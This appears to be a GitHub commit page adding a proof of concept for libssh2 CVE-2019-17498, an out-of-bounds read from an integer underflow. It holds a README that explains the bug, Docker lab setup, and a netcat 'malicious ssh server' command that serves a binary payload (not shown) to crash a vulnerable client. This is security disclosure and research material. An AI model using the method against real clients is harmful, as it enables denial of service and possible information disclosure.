Skip to content

Commit 8a48429

Browse files
author
Nico Waisman
authored
Merge pull request #20 from kevinbackhouse/libssh2_packet_2019-07-01
PoC for libssh2 CVE-2019-17498
2 parents 26934cb + 4b76e60 commit 8a48429

6 files changed

Lines changed: 154 additions & 0 deletions

File tree

Lines changed: 77 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,77 @@
1+
# Out-of-bounds read in libssh2 (CVE-2019-17498)
2+
3+
[libssh2](https://www.libssh2.org/) version 1.9.0 contains a remotely triggerable out-of-bounds read, leading to denial of service or potentially to information disclosure. I reported this bug to libssh2-security@haxx.se on 2019-07-01. At the time of writing (2019-10-15), it has been [fixed on the master branch](https://github.com/libssh2/libssh2/pull/402/commits/1c6fa92b77e34d089493fe6d3e2c6c8775858b94), but a new official version containing a fix has not yet been released.
4+
5+
This directory contains a proof of concept exploit for the vulnerability. It uses [docker](https://www.docker.com/) to simulate two computers. The first is a server, with a simple [netcat](https://linux.die.net/man/1/nc) command listening on port 22. The second is a client, running `libssh2`. When the client attempts to connect to server, the server sends back a malicious response which triggers a segmentation fault in the client.
6+
7+
The source location of the vulnerability is [packet.c:480](https://github.com/libssh2/libssh2/blob/42d37aa63129a1b2644bf6495198923534322d64/src/packet.c#L480):
8+
9+
```c
10+
if(message_len < datalen-13) {
11+
```
12+
13+
The value of `datalen` is untrusted because it came from the remote computer. If `datalen == 11`, for example, then the subtraction will overflow and the bounds-check of `message_len` is ineffective, leading to an out-of-bounds read on [line 485](https://github.com/libssh2/libssh2/blob/42d37aa63129a1b2644bf6495198923534322d64/src/packet.c#L485).
14+
15+
## Network setup
16+
17+
Create a docker network bridge, to simulate a network with two separate computers.
18+
19+
```bash
20+
docker network create -d bridge --subnet 172.18.0.0/16 libssh2-demo-network
21+
```
22+
23+
## Server setup
24+
25+
Build the docker image:
26+
27+
```bash
28+
docker build server -t libssh2-server --build-arg UID=`id -u`
29+
```
30+
31+
Start the container:
32+
33+
```bash
34+
docker run --rm --network libssh2-demo-network --ip=172.18.0.10 -i -t libssh2-server
35+
```
36+
37+
Start the malicious "ssh server":
38+
39+
```bash
40+
sudo nc -l -p 22 < poc.bin # password is x
41+
```
42+
43+
## Client setup
44+
45+
Build the docker image:
46+
47+
```bash
48+
docker build client -t libssh2-client --build-arg UID=`id -u`
49+
```
50+
51+
Start the container:
52+
53+
```bash
54+
docker run --rm --network libssh2-demo-network --ip=172.18.0.11 -i -t libssh2-client
55+
```
56+
57+
If you want to be able to debug libssh2 with gdb, then you need to start the container with a few extra arguments:
58+
59+
```bash
60+
docker run --rm --network libssh2-demo-network --ip=172.18.0.11 --cap-add=SYS_PTRACE --security-opt seccomp=unconfined -i -t libssh2-client
61+
```
62+
63+
In the container, attempt to connect to the server:
64+
65+
```bash
66+
cd ~/libssh2/example
67+
./ssh2 172.18.0.10
68+
```
69+
70+
This command crashes with a segmentation fault.
71+
72+
If you would like to debug libssh2 with [gdb](https://www.gnu.org/software/gdb/), then start it like this:
73+
74+
```bash
75+
cd ~/libssh2/example/.libs
76+
LD_LIBRARY_PATH="/home/victim/libssh2/src/.libs:$LD_LIBRARY_PATH" gdb --args ./ssh2 172.18.0.10
77+
```
Lines changed: 33 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,33 @@
1+
FROM ubuntu:bionic
2+
3+
RUN apt-get update && \
4+
apt-get install -y \
5+
sudo tmux screen emacs git gdb net-tools psmisc \
6+
build-essential autoconf automake libtool g++ \
7+
libssl-dev
8+
9+
ARG UID=1000
10+
11+
# Create a non-root user account to run Libssh2.
12+
RUN adduser victim --disabled-password --uid $UID
13+
14+
# Grant the 'victim' user sudo access. This is not used for the
15+
# demo, but it is often handy for installing extra packages.
16+
RUN adduser victim sudo
17+
RUN echo "victim:x" | chpasswd
18+
COPY home/ /home/victim/
19+
RUN chown -R victim:victim /home/victim
20+
21+
# Switch over to the 'victim' user, since root access is no longer required
22+
USER victim
23+
WORKDIR /home/victim
24+
25+
# Checkout and build libssh2-1.9.0 (commit 42d37aa63129a1b2644bf6495198923534322d64).
26+
# Note: this PoC also works on commit 38bf7ce9ece3441dcf3a19f0befb5b491ed4adfa,
27+
# which is the commit which contained the bad implementation of _libssh2_check_length.
28+
RUN git clone https://github.com/libssh2/libssh2.git && \
29+
cd libssh2 && \
30+
git checkout 42d37aa63129a1b2644bf6495198923534322d64 && \
31+
./buildconf && \
32+
./configure && \
33+
make -j4
Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,11 @@
1+
# Enable 256 colors
2+
set -g default-terminal "screen-256color"
3+
4+
# Enable using the mouse to switch windows.
5+
set -g mouse on
6+
7+
# Don't lose track of SSH_AGENT etc. from parent environment.
8+
set -g update-environment -r
9+
10+
# history buffer size
11+
set-option -g history-limit 100000
Lines changed: 22 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,22 @@
1+
FROM ubuntu:bionic
2+
3+
RUN apt-get update && \
4+
apt-get install -y \
5+
sudo tmux screen emacs git gdb net-tools psmisc \
6+
build-essential autoconf g++ netcat
7+
8+
ARG UID=1000
9+
10+
# Create a non-root user account.
11+
RUN adduser hal --disabled-password --uid $UID
12+
13+
# Grant the 'hal' user sudo access. This is not used for the demo,
14+
# but it is often handy for installing extra packages.
15+
RUN adduser hal sudo
16+
RUN echo "hal:x" | chpasswd
17+
COPY home/ /home/hal/
18+
RUN chown -R hal:hal /home/hal
19+
20+
# Switch over to the 'hal' user, since root access is no longer required
21+
USER hal
22+
WORKDIR /home/hal
Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,11 @@
1+
# Enable 256 colors
2+
set -g default-terminal "screen-256color"
3+
4+
# Enable using the mouse to switch windows.
5+
set -g mouse on
6+
7+
# Don't lose track of SSH_AGENT etc. from parent environment.
8+
set -g update-environment -r
9+
10+
# history buffer size
11+
set-option -g history-limit 100000
Binary file not shown.

0 commit comments

Comments
 (0)